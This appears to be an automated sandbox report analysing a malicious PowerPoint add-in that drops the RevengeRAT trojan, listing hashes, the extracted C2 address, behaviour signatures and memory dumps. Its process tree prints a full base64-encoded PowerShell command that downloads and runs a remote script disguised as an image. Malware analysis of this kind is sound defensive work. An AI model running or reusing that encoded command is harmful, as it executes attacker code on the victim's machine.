Analysis

  • max time kernel
    138s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    28-08-2024 01:53

General

  • Target

    7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam

  • Size

    27KB

  • MD5

    c3313364d3a12339eb5f77410bb0a31a

  • SHA1

    a496f4f079f45ccef67715a51a2ad8185fee9ce3

  • SHA256

    7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2

  • SHA512

    2337e7996a67a60c8ba679167a20bccb82a334eaf88d85e5dc7486125809acbebf6772ff1cf439a95cb01c0afa5d460b804fe3cc3174f76305b3cde946bddd2c

  • SSDEEP

    768:VPc2teKCz5J61JLDgJOabcssG8bKR8QJTkM5xRh:VO36XL9abcskE5x/

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\7d0497c05e8d919fec5641334cbfd638b10e23674e04abbd71df4556917861d2.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1900
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2696
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1540
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2264

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1540-29-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1540-24-0x0000000002B20000-0x0000000002B5A000-memory.dmp

      Filesize

      232KB

    • memory/1540-40-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1540-30-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1540-32-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1540-36-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1540-34-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1540-39-0x00000000029A0000-0x00000000029B8000-memory.dmp

      Filesize

      96KB

    • memory/1900-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1900-21-0x0000000005200000-0x0000000005300000-memory.dmp

      Filesize

      1024KB

    • memory/1900-26-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1900-27-0x000000007263D000-0x0000000072648000-memory.dmp

      Filesize

      44KB

    • memory/1900-9-0x0000000005200000-0x0000000005300000-memory.dmp

      Filesize

      1024KB

    • memory/1900-18-0x0000000005200000-0x0000000005300000-memory.dmp

      Filesize

      1024KB

    • memory/1900-20-0x000000007263D000-0x0000000072648000-memory.dmp

      Filesize

      44KB

    • memory/1900-0-0x000000002D791000-0x000000002D792000-memory.dmp

      Filesize

      4KB

    • memory/1900-2-0x000000007263D000-0x0000000072648000-memory.dmp

      Filesize

      44KB

    • memory/1900-3-0x0000000006120000-0x0000000006220000-memory.dmp

      Filesize

      1024KB

    • memory/1900-19-0x0000000005200000-0x0000000005300000-memory.dmp

      Filesize

      1024KB

    • memory/2264-47-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2264-52-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2264-41-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2264-50-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2264-49-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2264-45-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2264-43-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2264-51-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB